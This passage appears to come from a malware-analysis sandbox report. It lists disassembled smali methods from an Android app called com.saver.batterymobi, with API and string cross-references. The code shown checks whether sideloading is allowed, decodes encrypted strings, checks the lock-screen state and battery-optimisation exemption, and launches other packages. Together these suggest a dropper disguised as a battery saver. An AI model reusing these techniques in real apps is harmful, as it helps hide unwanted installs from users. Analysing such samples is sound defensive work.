          20const-string v1, " >> "
          22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          24invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          25move-result-object v0
          26iput-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/drg;->e:Ljava/lang/String;
          27return-void
          APIs
          • android.os.Parcel.dataPosition
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          Strings
          Position Instruction Meta Information
          0new-instance v0, Landroidx/versionedparcelable/b;
          2iget-object v1, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          4iget-object v2, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          6invoke-virtual {v2}, Landroid/os/Parcel;->dataPosition()I
          7move-result v2
          8iget v3, p0, Landroidx/versionedparcelable/b;->g:I
          9iget v4, p0, Landroidx/versionedparcelable/b;->c:I
          10if-ne v3, v4, :cond_13
          11iget v3, p0, Landroidx/versionedparcelable/b;->d:I
          12goto/16 :goto_15
          13cond_13: iget v3, p0, Landroidx/versionedparcelable/b;->g:I
          14goto_15: new-instance v4, Ljava/lang/StringBuilder;
          16invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
          18iget-object v5, p0, Landroidx/versionedparcelable/b;->e:Ljava/lang/String;
          20invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          22const-string v5, " "
          24invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          26invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          27move-result-object v4
          29invoke-direct {v0, v1, v2, v3, v4}, Landroidx/versionedparcelable/b;-><init>(Landroid/os/Parcel;IILjava/lang/String;)V
          30return-object v0
          Cross References
          APIs
          • com.saver.batterymobi.lkj.a.c$a.<init>
          • com.saver.batterymobi.lkj.a.c$a.execute
          • com.saver.batterymobi.lkj.a.c$a.<init>
          • com.saver.batterymobi.lkj.a.c$a.execute
          • com.saver.batterymobi.lkj.a.c$a.get
          Strings
          • No
          Position Instruction Meta Information
          0new-instance v0, Lcom/saver/batterymobi/lkj/a/c$a;
          1const/4 v1, 0x0
          3invoke-direct {v0, p0, v1}, Lcom/saver/batterymobi/lkj/a/c$a;-><init>(Lcom/saver/batterymobi/lkj/a/c;Lcom/saver/batterymobi/lkj/a/c$1;)V
          4const/4 v2, 0x0
          5new-array v3, v2, [Ljava/lang/Void;
          7invoke-virtual {v0, v3}, Lcom/saver/batterymobi/lkj/a/c$a;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
          8new-instance v0, Lcom/saver/batterymobi/lkj/a/c$a;
          10invoke-direct {v0, p0, v1}, Lcom/saver/batterymobi/lkj/a/c$a;-><init>(Lcom/saver/batterymobi/lkj/a/c;Lcom/saver/batterymobi/lkj/a/c$1;)V
          11new-array v1, v2, [Ljava/lang/Void;
          13invoke-virtual {v0, v1}, Lcom/saver/batterymobi/lkj/a/c$a;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
          14try_start_16:
          15invoke-virtual {v0}, Lcom/saver/batterymobi/lkj/a/c$a;->get()Ljava/lang/Object;
          16move-result-object v0
          17check-cast v0, Ljava/lang/String;
          18try_end_1c: return-object v0
          19catch_1d:
          20const-string v0, "No"
          21return-object v0
          APIs
          • java.lang.StringBuilder.<init>
          • java.lang.Class.getSimpleName
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          Strings
          • >>
          Position Instruction Meta Information
          0new-instance v0, Ljava/lang/StringBuilder;
          2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
          3const-class v1, Lcom/saver/batterymobi/lkj/jgj/ecr;
          5invoke-virtual {v1}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
          6move-result-object v1
          8invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          10const-string v1, " >> "
          12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          14invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          15move-result-object v0
          16sput-object v0, Lcom/saver/batterymobi/lkj/jgj/ecr;->c:Ljava/lang/String;
          17return-void
          APIs
          • java.lang.StringBuilder.<init>
          • java.lang.Class.getSimpleName
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          Strings
          • >>
          Position Instruction Meta Information
          0new-instance v0, Ljava/lang/StringBuilder;
          2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
          3const-class v1, Lcom/saver/batterymobi/lkj/jgj/ecr;
          5invoke-virtual {v1}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
          6move-result-object v1
          8invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          10const-string v1, " >> "
          12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          14invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          15move-result-object v0
          16sput-object v0, Lcom/saver/batterymobi/lkj/jgj/esd;->d:Ljava/lang/String;
          17return-void
          Cross References
          APIs
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.Integer.toString
          • java.lang.String.substring
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.String.toUpperCase
          Position Instruction Meta Information
          1const-string v0, ""
          2const/4 v1, 0x0
          3goto_3: array-length v2, p0
          4if-ge v1, v2, :cond_29
          5new-instance v2, Ljava/lang/StringBuilder;
          7invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
          9invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          10aget-byte v0, p0, v1
          11and-int/lit16 v0, v0, 0xff
          12add-int/lit16 v0, v0, 0x100
          13const/16 v3, 0x10
          15invoke-static {v0, v3}, Ljava/lang/Integer;->toString(II)Ljava/lang/String;
          16move-result-object v0
          17const/4 v3, 0x1
          19invoke-virtual {v0, v3}, Ljava/lang/String;->substring(I)Ljava/lang/String;
          20move-result-object v0
          22invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          24invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          25move-result-object v0
          26add-int/lit8 v1, v1, 0x1
          27goto/16 :goto_3
          28cond_29:
          29invoke-virtual {v0}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
          30move-result-object p0
          31return-object p0
          Cross References
          APIs
          • android.content.Context.getPackageManager
          • android.content.pm.PackageManager.canRequestPackageInstalls
          • android.provider.Settings$Secure.getInt
          • android.provider.Settings$Global.getInt
          Strings
          • install_non_market_apps
          Position Instruction Meta Information
          0const/4 v0, 0x0
          1try_start_1: sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
          2const/16 v2, 0x1a
          3if-lt v1, v2, :cond_10
          5invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
          6move-result-object p1
          8invoke-virtual {p1}, Landroid/content/pm/PackageManager;->canRequestPackageInstalls()Z
          9move-result p1
          10return p1
          11cond_10: sget p1, Landroid/os/Build$VERSION;->SDK_INT:I
          12const/16 v1, 0x11
          13const/4 v2, 0x0
          14const/4 v3, 0x1
          15if-ge p1, v1, :cond_22
          17const-string p1, "install_non_market_apps"
          19invoke-static {v2, p1, v0}, Landroid/provider/Settings$Secure;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;I)I
          20move-result p1
          21if-ne p1, v3, :cond_21
          22const/4 v0, 0x1
          23cond_21: return v0
          24cond_22:
          25const-string p1, "install_non_market_apps"
          27invoke-static {v2, p1, v0}, Landroid/provider/Settings$Global;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;I)I
          28move-result p1
          29try_end_28: if-ne p1, v3, :cond_2b
          30const/4 v0, 0x1
          31catch_2b: return v0
          Cross References
          APIs
          • java.lang.StringBuffer.<init>
          • java.lang.Integer.toString
          • java.lang.String.length
          • java.lang.StringBuffer.append
          • java.lang.StringBuffer.toString
          Position Instruction Meta Information
          0new-instance v0, Ljava/lang/StringBuffer;
          1array-length v1, p0
          2const/4 v2, 0x2
          3mul-int/lit8 v1, v1, 0x2
          5invoke-direct {v0, v1}, Ljava/lang/StringBuffer;-><init>(I)V
          6array-length v1, p0
          7const/4 v3, 0x0
          8goto_b: if-ge v3, v1, :cond_28
          9aget-byte v4, p0, v3
          10and-int/lit16 v4, v4, 0xff
          11const/16 v5, 0x10
          13invoke-static {v4, v5}, Ljava/lang/Integer;->toString(II)Ljava/lang/String;
          14move-result-object v4
          16invoke-virtual {v4}, Ljava/lang/String;->length()I
          17move-result v5
          18if-ge v5, v2, :cond_22
          19const/16 v5, 0x30
          21invoke-virtual {v0, v5}, Ljava/lang/StringBuffer;->append(C)Ljava/lang/StringBuffer;
          22cond_22:
          23invoke-virtual {v0, v4}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
          24add-int/lit8 v3, v3, 0x1
          25goto/16 :goto_b
          26cond_28:
          27invoke-virtual {v0}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
          28move-result-object p0
          29return-object p0
          Cross References
          APIs
          • android.util.Base64.decode
          • java.lang.String.<init>
          • java.lang.String.getBytes
          • java.lang.String.<init>
          Strings
          • UTF-8
          Position Instruction Meta Information
          0const/4 v0, 0x0
          1try_start_1:
          2invoke-static {p1, v0}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
          3move-result-object p1
          4new-instance v0, Ljava/lang/String;
          6const-string v1, "UTF-8"
          8invoke-direct {v0, p1, v1}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
          10invoke-virtual {p0, v0}, Lcom/saver/batterymobi/lkj/a/c;->b(Ljava/lang/String;)[B
          11move-result-object p1
          12new-instance v0, Lcom/saver/batterymobi/lkj/a/b;
          14invoke-virtual {p2}, Ljava/lang/String;->getBytes()[B
          15move-result-object p2
          17invoke-direct {v0, p2}, Lcom/saver/batterymobi/lkj/a/b;-><init>([B)V
          18new-instance p2, Ljava/lang/String;
          20invoke-virtual {v0, p1}, Lcom/saver/batterymobi/lkj/a/b;->a([B)[B
          21move-result-object p1
          23invoke-direct {p2, p1}, Ljava/lang/String;-><init>([B)V
          24try_end_22: return-object p2
          25catch_23:
          26const-string p1, ""
          27return-object p1
          Cross References
          APIs
          • android.content.Context.getSystemService
          • android.app.KeyguardManager.inKeyguardRestrictedInputMode
          Strings
          • keyguard
          • 1
          • 2
          Position Instruction Meta Information
          1const-string v0, "keyguard"
          3invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
          4move-result-object p1
          5check-cast p1, Landroid/app/KeyguardManager;
          7invoke-virtual {p1}, Landroid/app/KeyguardManager;->inKeyguardRestrictedInputMode()Z
          8move-result p1
          9if-nez p1, :cond_11
          11const-string p1, "1"
          12return-object p1
          13cond_11:
          14const-string p1, "2"
          15return-object p1
          Cross References
          APIs
          • android.content.Context.getSharedPreferences
          • android.content.SharedPreferences.edit
          • android.content.SharedPreferences$Editor.putString
          • android.content.SharedPreferences$Editor.commit
          Strings
          • battery_settings
          Position Instruction Meta Information
          1const-string v0, "battery_settings"
          2const/4 v1, 0x0
          4invoke-virtual {p1, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
          5move-result-object p1
          7invoke-interface {p1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
          8move-result-object p1
          10invoke-interface {p1, p2, p3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
          12invoke-interface {p1}, Landroid/content/SharedPreferences$Editor;->commit()Z
          13return-void
          Cross References
          APIs
          • java.lang.String.length
          • java.lang.String.charAt
          • java.lang.Character.digit
          • java.lang.String.charAt
          • java.lang.Character.digit
          Position Instruction Meta Information
          1invoke-virtual {p1}, Ljava/lang/String;->length()I
          2move-result v0
          3div-int/lit8 v1, v0, 0x2
          4new-array v1, v1, [B
          5const/4 v2, 0x0
          6goto_9: if-ge v2, v0, :cond_2a
          7div-int/lit8 v3, v2, 0x2
          9invoke-virtual {p1, v2}, Ljava/lang/String;->charAt(I)C
          10move-result v4
          11const/16 v5, 0x10
          13invoke-static {v4, v5}, Ljava/lang/Character;->digit(CI)I
          14move-result v4
          15shl-int/lit8 v4, v4, 0x4
          16add-int/lit8 v6, v2, 0x1
          18invoke-virtual {p1, v6}, Ljava/lang/String;->charAt(I)C
          19move-result v6
          21invoke-static {v6, v5}, Ljava/lang/Character;->digit(CI)I
          22move-result v5
          23add-int/2addr v4, v5
          24int-to-byte v4, v4
          25aput-byte v4, v1, v3
          26add-int/lit8 v2, v2, 0x2
          27goto/16 :goto_9
          28cond_2a: return-object v1
          Cross References
          APIs
          • android.util.SparseIntArray.get
          • android.os.Parcel.dataPosition
          • android.os.Parcel.setDataPosition
          • android.os.Parcel.writeInt
          • android.os.Parcel.setDataPosition
          Position Instruction Meta Information
          0iget v0, p0, Landroidx/versionedparcelable/b;->f:I
          1if-ltz v0, :cond_23
          3iget-object v0, p0, Landroidx/versionedparcelable/b;->a:Landroid/util/SparseIntArray;
          4iget v1, p0, Landroidx/versionedparcelable/b;->f:I
          6invoke-virtual {v0, v1}, Landroid/util/SparseIntArray;->get(I)I
          7move-result v0
          9iget-object v1, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          11invoke-virtual {v1}, Landroid/os/Parcel;->dataPosition()I
          12move-result v1
          13sub-int v2, v1, v0
          15iget-object v3, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          17invoke-virtual {v3, v0}, Landroid/os/Parcel;->setDataPosition(I)V
          19iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          21invoke-virtual {v0, v2}, Landroid/os/Parcel;->writeInt(I)V
          23iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          25invoke-virtual {v0, v1}, Landroid/os/Parcel;->setDataPosition(I)V
          26cond_23: return-void
          Cross References
          APIs
          • android.content.Context.getSystemService
          • android.content.Context.getPackageName
          • android.os.PowerManager.isIgnoringBatteryOptimizations
          Strings
          • power
          Position Instruction Meta Information
          0sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
          1const/16 v1, 0x17
          2if-lt v0, v1, :cond_17
          4const-string v0, "power"
          6invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
          7move-result-object v0
          8check-cast v0, Landroid/os/PowerManager;
          10invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
          11move-result-object p1
          13invoke-virtual {v0, p1}, Landroid/os/PowerManager;->isIgnoringBatteryOptimizations(Ljava/lang/String;)Z
          14move-result p1
          15return p1
          16cond_17: const/4 p1, 0x1
          17return p1
          Cross References
          APIs
          • com.saver.batterymobi.MainActivity$1.<init>
          • android.content.IntentFilter.<init>
          • com.saver.batterymobi.MainActivity.registerReceiver
          Strings
          • android.intent.action.BATTERY_CHANGED
          Position Instruction Meta Information
          0new-instance v0, Lcom/saver/batterymobi/MainActivity$1;
          2invoke-direct {v0, p0}, Lcom/saver/batterymobi/MainActivity$1;-><init>(Lcom/saver/batterymobi/MainActivity;)V
          3new-instance v1, Landroid/content/IntentFilter;
          5const-string v2, "android.intent.action.BATTERY_CHANGED"
          7invoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
          9invoke-virtual {p0, v0, v1}, Lcom/saver/batterymobi/MainActivity;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
          10return-void
          APIs
          • android.app.Activity.onCreate
          • com.saver.batterymobi.lkj.zxs.kgr.checkCallingOrSelfPermission
          • com.saver.batterymobi.lkj.zxs.kgr.requestPermissions
          • com.saver.batterymobi.lkj.zxs.kgr.finish
          Position Instruction Meta Information
          1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
          3iget-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/kgr;->b:Lcom/saver/batterymobi/lkj/a/c;
          5invoke-virtual {p1, p0}, Lcom/saver/batterymobi/lkj/a/c;->e(Landroid/content/Context;)Z
          6move-result p1
          7if-eqz p1, :cond_27
          8sget p1, Landroid/os/Build$VERSION;->SDK_INT:I
          9const/16 v0, 0x17
          10if-lt p1, v0, :cond_27
          12iget-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/kgr;->a:Lcom/saver/batterymobi/lkj/a;
          14iget-object p1, p1, Lcom/saver/batterymobi/lkj/a;->u:[Ljava/lang/String;
          15const/4 v0, 0x0
          16aget-object p1, p1, v0
          18invoke-virtual {p0, p1}, Lcom/saver/batterymobi/lkj/zxs/kgr;->checkCallingOrSelfPermission(Ljava/lang/String;)I
          19move-result p1
          20if-eqz p1, :cond_27
          22iget-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/kgr;->a:Lcom/saver/batterymobi/lkj/a;
          24iget-object p1, p1, Lcom/saver/batterymobi/lkj/a;->u:[Ljava/lang/String;
          25const/16 v0, 0x6f
          27invoke-virtual {p0, p1, v0}, Lcom/saver/batterymobi/lkj/zxs/kgr;->requestPermissions([Ljava/lang/String;I)V
          28cond_27:
          29invoke-virtual {p0}, Lcom/saver/batterymobi/lkj/zxs/kgr;->finish()V
          30return-void
          Cross References
          APIs
          • android.os.Parcel.setDataPosition
          • android.os.Parcel.readInt
          • android.os.Parcel.dataPosition
          Position Instruction Meta Information
          0cond_0: iget v0, p0, Landroidx/versionedparcelable/b;->g:I
          1iget v1, p0, Landroidx/versionedparcelable/b;->d:I
          2if-ge v0, v1, :cond_27
          4iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          5iget v1, p0, Landroidx/versionedparcelable/b;->g:I
          7invoke-virtual {v0, v1}, Landroid/os/Parcel;->setDataPosition(I)V
          9iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          11invoke-virtual {v0}, Landroid/os/Parcel;->readInt()I
          12move-result v0
          14iget-object v1, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          16invoke-virtual {v1}, Landroid/os/Parcel;->readInt()I
          17move-result v1
          18iget v2, p0, Landroidx/versionedparcelable/b;->g:I
          19add-int/2addr v2, v0
          20iput v2, p0, Landroidx/versionedparcelable/b;->g:I
          21if-ne v1, p1, :cond_0
          23iget-object p1, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          25invoke-virtual {p1}, Landroid/os/Parcel;->dataPosition()I
          26move-result p1
          27return p1
          28cond_27: const/4 p1, -0x1
          29return p1
          Cross References
          APIs
          • java.lang.String.getBytes
          • android.util.Base64.encodeToString
          Position Instruction Meta Information
          0new-instance v0, Lcom/saver/batterymobi/lkj/a/b;
          2invoke-virtual {p2}, Ljava/lang/String;->getBytes()[B
          3move-result-object p2
          5invoke-direct {v0, p2}, Lcom/saver/batterymobi/lkj/a/b;-><init>([B)V
          7invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
          8move-result-object p1
          10invoke-virtual {v0, p1}, Lcom/saver/batterymobi/lkj/a/b;->b([B)[B
          11move-result-object p1
          13invoke-static {p1}, Lcom/saver/batterymobi/lkj/a/c;->a([B)Ljava/lang/String;
          14move-result-object p1
          16invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
          17move-result-object p1
          18const/4 p2, 0x0
          20invoke-static {p1, p2}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
          21move-result-object p1
          22return-object p1
          Cross References
          APIs
          • java.lang.String.indexOf
          • java.lang.String.length
          • java.lang.String.indexOf
          • java.lang.String.substring
          Position Instruction Meta Information
          0try_start_0:
          1invoke-virtual {p1, p2}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
          2move-result v0
          4invoke-virtual {p2}, Ljava/lang/String;->length()I
          5move-result p2
          6add-int/2addr v0, p2
          8invoke-virtual {p1, p3}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
          9move-result p2
          11invoke-virtual {p1, v0, p2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
          12move-result-object p1
          13try_end_11: return-object p1
          14catch_12:
          15const-string p1, ""
          16return-object p1
          Cross References
          APIs
          • com.saver.batterymobi.lkj.a.a$a.<init>
          • com.saver.batterymobi.lkj.a.a$a.execute
          • com.saver.batterymobi.lkj.a.a$a.get
          Position Instruction Meta Information
          0new-instance v0, Lcom/saver/batterymobi/lkj/a/a$a;
          2invoke-direct {v0, p0}, Lcom/saver/batterymobi/lkj/a/a$a;-><init>(Lcom/saver/batterymobi/lkj/a/a;)V
          3const/4 v1, 0x2
          4new-array v1, v1, [Ljava/lang/String;
          5const/4 v2, 0x0
          6aput-object p1, v1, v2
          7const/4 p1, 0x1
          8aput-object p2, v1, p1
          10invoke-virtual {v0, v1}, Lcom/saver/batterymobi/lkj/a/a$a;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
          11try_start_11:
          12invoke-virtual {v0}, Lcom/saver/batterymobi/lkj/a/a$a;->get()Ljava/lang/Object;
          13move-result-object p1
          14check-cast p1, Ljava/lang/String;
          15try_end_17: return-object p1
          16catch_18:
          17const-string p1, ""
          18return-object p1
          APIs
          • java.lang.Object.getClass
          • java.lang.Class.getClassLoader
          • android.os.Parcel.readParcelable
          Position Instruction Meta Information
          0.annotation system Ldalvik/annotation/Signature;
          1value = {
          2"<T::",
          3"Landroid/os/Parcelable;",
          4">()TT;"
          5}
          6.end annotation
          8iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          10invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          11move-result-object v1
          13invoke-virtual {v1}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
          14move-result-object v1
          16invoke-virtual {v0, v1}, Landroid/os/Parcel;->readParcelable(Ljava/lang/ClassLoader;)Landroid/os/Parcelable;
          17move-result-object v0
          18return-object v0
          APIs
          • android.os.Parcel.writeInt
          • android.os.Parcel.writeByteArray
          • android.os.Parcel.writeInt
          Position Instruction Meta Information
          0if-eqz p1, :cond_e
          2iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          3array-length v1, p1
          5invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeInt(I)V
          7iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          9invoke-virtual {v0, p1}, Landroid/os/Parcel;->writeByteArray([B)V
          10goto/16 :goto_14
          11cond_e:
          12iget-object p1, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          13const/4 v0, -0x1
          15invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
          16goto_14: return-void
          Cross References
          APIs
          • android.content.Context.getPackageManager
          • android.content.pm.PackageManager.getLaunchIntentForPackage
          • android.content.Context.startActivity
          Position Instruction Meta Information
          1invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
          2move-result-object v0
          4invoke-virtual {v0, p2}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
          5move-result-object p2
          7invoke-virtual {p1, p2}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
          8return-void
          Cross References
          APIs
          • java.lang.Object.getClass
          Strings
          • filename
          Position Instruction Meta Information
          1iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          3invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          5const-string v0, "filename"
          7const-string v1, ""
          9invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          10return-void
          Cross References
          APIs
          • java.lang.Object.getClass
          Strings
          • 1day
          Position Instruction Meta Information
          1iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          3invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          5const-string v0, "1day"
          7invoke-virtual {p0, p1, v0}, Lcom/saver/batterymobi/lkj/a/c;->c(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
          8move-result-object p1
          9return-object p1
          Cross References
          APIs
          • java.lang.Object.getClass
          Strings
          • 1day
          Position Instruction Meta Information
          1iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          3invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          5const-string v0, "1day"
          7invoke-virtual {p0, p1, v0}, Lcom/saver/batterymobi/lkj/a/c;->d(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
          8move-result-object p1
          9return-object p1
          APIs
          • java.lang.UnsupportedOperationException.<init>
          Strings
          • Not yet implemented
          Position Instruction Meta Information
          0new-instance p1, Ljava/lang/UnsupportedOperationException;
          2const-string v0, "Not yet implemented"
          4invoke-direct {p1, v0}, Ljava/lang/UnsupportedOperationException;-><init>(Ljava/lang/String;)V
          5throw p1
          APIs
          • java.lang.UnsupportedOperationException.<init>
          Strings
          • Not Yet Implemented
          Position Instruction Meta Information
          0new-instance p1, Ljava/lang/UnsupportedOperationException;
          2const-string v0, "Not Yet Implemented"
          4invoke-direct {p1, v0}, Ljava/lang/UnsupportedOperationException;-><init>(Ljava/lang/String;)V
          5throw p1
          APIs
          • android.support.v4.graphics.drawable.IconCompat.<init>
          • android.support.v4.graphics.drawable.IconCompat.c
          Position Instruction Meta Information
          0new-instance v0, Landroid/support/v4/graphics/drawable/IconCompat;
          2invoke-direct {v0}, Landroid/support/v4/graphics/drawable/IconCompat;-><init>()V
          3iget v1, v0, Landroid/support/v4/graphics/drawable/IconCompat;->a:I
          4const/4 v2, 0x1
          6invoke-virtual {p0, v1, v2}, Landroidx/versionedparcelable/a;->b(II)I
          7move-result v1
          8iput v1, v0, Landroid/support/v4/graphics/drawable/IconCompat;->a:I
          10iget-object v1, v0, Landroid/support/v4/graphics/drawable/IconCompat;->c:[B
          11const/4 v2, 0x2
          13invoke-virtual {p0, v1, v2}, Landroidx/versionedparcelable/a;->b([BI)[B
          14move-result-object v1
          15iput-object v1, v0, Landroid/support/v4/graphics/drawable/IconCompat;->c:[B
          17iget-object v1, v0, Landroid/support/v4/graphics/drawable/IconCompat;->d:Landroid/os/Parcelable;
          18const/4 v2, 0x3
          20invoke-virtual {p0, v1, v2}, Landroidx/versionedparcelable/a;->b(Landroid/os/Parcelable;I)Landroid/os/Parcelable;
          21move-result-object v1
          22iput-object v1, v0, Landroid/support/v4/graphics/drawable/IconCompat;->d:Landroid/os/Parcelable;
          23iget v1, v0, Landroid/support/v4/graphics/drawable/IconCompat;->e:I
          24const/4 v2, 0x4
          26invoke-virtual {p0, v1, v2}, Landroidx/versionedparcelable/a;->b(II)I
          27move-result v1
          28iput v1, v0, Landroid/support/v4/graphics/drawable/IconCompat;->e:I
          29iget v1, v0, Landroid/support/v4/graphics/drawable/IconCompat;->f:I
          30const/4 v2, 0x5
          32invoke-virtual {p0, v1, v2}, Landroidx/versionedparcelable/a;->b(II)I
          33move-result v1
          34iput v1, v0, Landroid/support/v4/graphics/drawable/IconCompat;->f:I
          36iget-object v1, v0, Landroid/support/v4/graphics/drawable/IconCompat;->g:Landroid/content/res/ColorStateList;
          37const/4 v2, 0x6
          39invoke-virtual {p0, v1, v2}, Landroidx/versionedparcelable/a;->b(Landroid/os/Parcelable;I)Landroid/os/Parcelable;
          40move-result-object v1
          41check-cast v1, Landroid/content/res/ColorStateList;
          42iput-object v1, v0, Landroid/support/v4/graphics/drawable/IconCompat;->g:Landroid/content/res/ColorStateList;
          44iget-object v1, v0, Landroid/support/v4/graphics/drawable/IconCompat;->j:Ljava/lang/String;
          45const/4 v2, 0x7
          47invoke-virtual {p0, v1, v2}, Landroidx/versionedparcelable/a;->b(Ljava/lang/String;I)Ljava/lang/String;
          48move-result-object p0
          49iput-object p0, v0, Landroid/support/v4/graphics/drawable/IconCompat;->j:Ljava/lang/String;
          51invoke-virtual {v0}, Landroid/support/v4/graphics/drawable/IconCompat;->c()V
          52return-object v0
          APIs
          • android.os.Parcel.dataPosition
          • android.util.SparseIntArray.put
          Position Instruction Meta Information
          1invoke-virtual {p0}, Landroidx/versionedparcelable/b;->b()V
          2iput p1, p0, Landroidx/versionedparcelable/b;->f:I
          4iget-object v0, p0, Landroidx/versionedparcelable/b;->a:Landroid/util/SparseIntArray;
          6iget-object v1, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          8invoke-virtual {v1}, Landroid/os/Parcel;->dataPosition()I
          9move-result v1
          11invoke-virtual {v0, p1, v1}, Landroid/util/SparseIntArray;->put(II)V
          12const/4 v0, 0x0
          14invoke-virtual {p0, v0}, Landroidx/versionedparcelable/b;->a(I)V
          16invoke-virtual {p0, p1}, Landroidx/versionedparcelable/b;->a(I)V
          17return-void
          APIs
          • android.os.Parcel.readInt
          • android.os.Parcel.readByteArray
          Position Instruction Meta Information
